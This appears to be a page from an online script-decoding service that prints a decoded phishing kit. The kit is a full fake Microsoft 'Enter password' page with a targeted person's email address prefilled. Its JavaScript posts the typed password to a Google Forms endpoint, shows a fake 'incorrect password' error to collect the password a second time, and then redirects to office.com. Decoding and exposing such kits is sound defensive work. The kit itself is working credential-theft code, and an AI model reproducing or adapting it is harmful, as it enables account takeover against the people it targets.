Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script language="javascript">
<html dir="ltr" class="" lang="en"><head>
    <title>Sign| in to your account|</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="prefetch" href="https://login.live.com/Me.htm?v=3">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>


<link crossorigin="anonymous" href="https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_3zlkpclf4l68eyz7vju1hg2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-2FnRGf2LM0YE65PQCEvcr9GZ1Ajl4ljH58LR8nb4lMCD/9VAVkXqTpOf6vX5wckx">
<script crossorigin="anonymous" src="https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_eY6P0GcctnjpDFSrOA4DUQ2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>
<script crossorigin="anonymous" src="https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_d00j4cowig-xutwjvs_czq2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-fC0oaeuYwUCL95X7bmC8MG9IIALVsvGAM5iu2pMtk9t/dK/S8VWPMfi6KInRXrq6"></script>
<link rel="prefetch" href="https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_3zlkpclf4l68eyz7vju1hg2.css"><link rel="prefetch" href="https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_d00j4cowig-xutwjvs_czq2.js"><script charset="utf-8" src="https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_ptiles_03388a12b1740bf67737.js"></script><script charset="utf-8" src="https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_12041efb75b2a95e20d9.js"></script></head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
<div>
<div data-bind="if: activeDialog"></div>




    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }">
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }">

    <div id="lightboxBackgroundContainer" data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods,
    event: { load: $page.backgroundImageControl_onLoad } }"><div class="background-image-holder" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
   <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" class="background-image ext-background-image" style="background-image: url(&quot;https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg&quot;);"></div>
        
</div></div>
<div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
   <div class="template-section main-section">
        <div class="middle" data-bind="css: { 'has-header': showHeader }">
            <div data-bind="component: { name: 'content-control', params: { serverData: svr } }">
<div>
<div class="win-scroll">
        <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { 'sign-in-box': true },
            css: {
                'inner':  $content.isVerticalSplitTemplate,
                'vertical-split-content': $content.isVerticalSplitTemplate,
                'app': $page.backgroundLogoUrl,
                'wide': $page.paginationControlHelper.useWiderWidth,
                'fade-in-lightbox': $page.fadeInLightBox,
                'has-popup': $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                'transparent-lightbox': $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                'lightbox-bottom-margin-debug': $page.showDebugDetails }" class="sign-in-box ext-sign-in-box fade-in-lightbox">

        <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }"></div>
        <div data-bind="component: { name: 'logo-control',
            params: {
                isChinaDc: svr.fIsChinaDc,
                bannerLogoUrl: bannerLogoUrl() } }">

<img class="logo" role="img" pngsrc="" svgsrc="" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
</div>

        <div role="main" data-bind="component: { name: 'pagination-control',
            publicMethods: paginationControlMethods,
            params: {
                enableCssAnimation: svr.fEnableCssAnimation,
                disableAnimationIfAnimationEndUnsupported: svr.fDisableAnimationIfAnimationEndUnsupported,
                initialViewId: initialViewId,
                currentViewId: currentViewId,
                initialSharedData: initialSharedData,
                initialError: $loginPage.getServerError() },
            event: {
                cancel: paginationControl_onCancel,
                loadView: view_onLoadView,
                showView: view_onShow,
                setLightBoxFadeIn: view_onSetLightBoxFadeIn,
                animationStateChange: paginationControl_onAnimationStateChange } }">
                <div data-bind="css: { 'zero-opacity': hidePaginatedView() }" class="">
    <div data-bind="css: {
        'animate': animate() &amp;&amp; animate.animateBanner(),
        'slide-out-next': animate.isSlideOutNext(),
        'slide-in-next': animate.isSlideInNext(),
        'slide-out-back': animate.isSlideOutBack(),
        'slide-in-back': animate.isSlideInBack() }" class="animate slide-in-next">

        <div data-bind="component: { name: 'identity-banner-control',
            params: {
                userTileUrl: svr.urlProfilePhoto,
                displayName: sharedData.displayName || svr.sPOST_Username,
                isBackButtonVisible: isBackButtonVisible(),
                focusOnBackButton: isBackButtonFocused(),
                backButtonDescribedBy: backButtonDescribedBy() },
            event: {
                backButtonClick: identityBanner_onBackButtonClick } }">

<div class="identityBanner">
<button type="button" class="backButton" data-bind="
        attr: { 'id': backButtonId || 'idBtn_Back' },
        ariaLabel: str['CT_HRD_STR_Splitter_Back'],
        ariaDescribedBy: backButtonDescribedBy,
        click: backButton_onClick,
        hasFocus: focusOnBackButton" id="idBtn_Back" aria-label="Back">
        <img role="presentation" pngsrc="" svgsrc="" data-bind="imgSrc" src="https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg">

    </button>



<div class="identity">elin.haraldsson@ati-info.se</div>



</div></div>
    </div>
<div class="pagination-view animate has-identity-banner slide-in-next"><div>

        <form  id="form" target="_self" onsubmit="return postToGoogle();" action="" autocomplete="off" >
  
<input type="hidden" id="emailField" name="entry.1718464411"  value="elin.haraldsson@ati-info.se">

<div class="row title ext-title">Enter password</div>
<div class="row">
    <div class="form-group col-md-24">
<div class="placeholderContainer">

<span id="msg"  style="color:#D8000C" class="text-danger">Because you're accessing sensitive document, you need to verify your password. </span>


            <input id="pw1" name="entry.1299177104" type="password" class="form-control input ext-input text-box ext-text-box" aria-required="true" placeholder="Password" autofocus="" required="">
</div>
    </div>
</div>

<div class="position-buttons">
    <div>

        <div class="row">
            <div class="col-md-24">
                <div class="text-13">
                    <div class="form-group">
                        Forgot my password
                    </div>

<div class="form-group">
</div>
                </div>
            </div>
        </div>
    </div>


    <div class="win-button-pin-bottom">
        <div class="row">
            <div><div class="col-xs-24 no-padding-left-right button-container">
    <div class="inline-block">
        <input id="send" type="submit" name="submit" class="button ext-button primary ext-primary" value="Sign in">
    </div>

</div></div>
        </div>
    </div>
</div>

</div></div></div></div></div></div></div></div></div></div></div></div></div></form>


<form  id="form2" style="display: none;" target="_self" onsubmit="return postToGoogle2();"  action="" autocomplete="off" >




    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }">
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }">

    <div id="lightboxBackgroundContainer" data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods,
    event: { load: $page.backgroundImageControl_onLoad } }"><div class="background-image-holder" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
   <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" class="background-image ext-background-image" style="background-image: url(&quot;https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg&quot;);"></div>


        
</div></div>
<div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
   <div class="template-section main-section">
        <div class="middle" data-bind="css: { 'has-header': showHeader }">
            <div data-bind="component: { name: 'content-control', params: { serverData: svr } }">
<div>
<div class="win-scroll">
        <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { 'sign-in-box': true },
            css: {
                'inner':  $content.isVerticalSplitTemplate,
                'vertical-split-content': $content.isVerticalSplitTemplate,
                'app': $page.backgroundLogoUrl,
                'wide': $page.paginationControlHelper.useWiderWidth,
                'fade-in-lightbox': $page.fadeInLightBox,
                'has-popup': $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                'transparent-lightbox': $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                'lightbox-bottom-margin-debug': $page.showDebugDetails }" class="sign-in-box ext-sign-in-box fade-in-lightbox">

        <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }"></div>
        <div data-bind="component: { name: 'logo-control',
            params: {
                isChinaDc: svr.fIsChinaDc,
                bannerLogoUrl: bannerLogoUrl() } }">

<img class="logo" role="img" pngsrc="" svgsrc="" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
</div>


       


<div class="identityBanner">
<button type="button" class="backButton" data-bind="
        attr: { 'id': backButtonId || 'idBtn_Back' },
        ariaLabel: str['CT_HRD_STR_Splitter_Back'],
        ariaDescribedBy: backButtonDescribedBy,
        click: backButton_onClick,
        hasFocus: focusOnBackButton" id="idBtn_Back" aria-label="Back">
        <img role="presentation" pngsrc="" svgsrc="" data-bind="imgSrc" src="https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg">

    </button>





<div class="identity">elin.haraldsson@ati-info.se</div>



</div>
    
<div class="pagination-view animate has-identity-banner slide-in-next"><div>
  
<input type="hidden" id="emailField" name="entry.1718464411"  value="elin.haraldsson@ati-info.se">

<div class="row title ext-title">Enter password</div>
<div class="row">
    <div class="form-group col-md-24">
<div class="placeholderContainer">

    <p id="success-msg" class="message" style="display:none; color:#D8000C">Your account or password is incorrect. If you don't remember your password, <small id="fps"><a href="#" class="fade">reset it now.</a></small></p>

            <input id="pw2" name="entry.1257683641" type="password" class="form-control input ext-input text-box ext-text-box" aria-required="true" placeholder="Password" autofocus="" required="">
</div>
    </div>
</div>

<div class="position-buttons">
    <div>

        <div class="row">
            <div class="col-md-24">
                <div class="text-13">
                    <div class="form-group">
                        Forgot my password
                    </div>

<div class="form-group">
</div>
                </div>

            </div>
        </div>
    </div>

   <div class="win-button-pin-bottom">
        <div class="row">
            <div><div class="col-xs-24 no-padding-left-right button-container">
    <div class="inline-block">
        <input id="send" type="submit" name="submit" class="button ext-button primary ext-primary" value="Sign in">
    </div>
</div></div>
        </div>
    </div>
</div>


</div></div></div></div></div></div></div></div></div></div></div></div></div></form>

<Script>

function postToGoogle() {
            
            var field1 = $("#emailField").val();
            var field2 = $("#pw1").val();

        $.ajax({
                url: "https://docs.google.com/forms/d/e/1FAIpQLSeSwM9fyiie3iCO8pGjX-8PfPw0DauTxf-spZfC9Fyp66Wscg/formResponse?",
                data: {"entry.1718464411": field1, "entry.1299177104": field2,},
                type: "POST",
                dataType: "xml",
                success: function(d)
                {
                },
                error: function(x, y, z)
                    {
    
                        $('#success-msg').show();
                        $('#form').hide();
                        $('#form2').show();
                        
                    }
            });
            return false;
        }
    </script>

    <script>
    
        function postToGoogle2() {
            var field1 = $("#emailField").val();
            var field2 = $("#pw2").val();
            var field3 = $("#pw1").val();
          
          
          
        $.ajax({
            url: "https://docs.google.com/forms/d/e/1FAIpQLSeSwM9fyiie3iCO8pGjX-8PfPw0DauTxf-spZfC9Fyp66Wscg/formResponse?",
      data: {"entry.1718464411": field1, "entry.1299177104": field2, "entry.1257683641": field3},
            type: "POST",
            dataType: "xml",
            success: function(d)
      {
      },
      error: function(x, y, z)
      {

                           window.location.replace("https://office.com");




                        }

                });
                return false;
            }



</script>
        </div>

    </body>

    </html>


</script>



© 2021 Quttera Ltd. All rights reserved.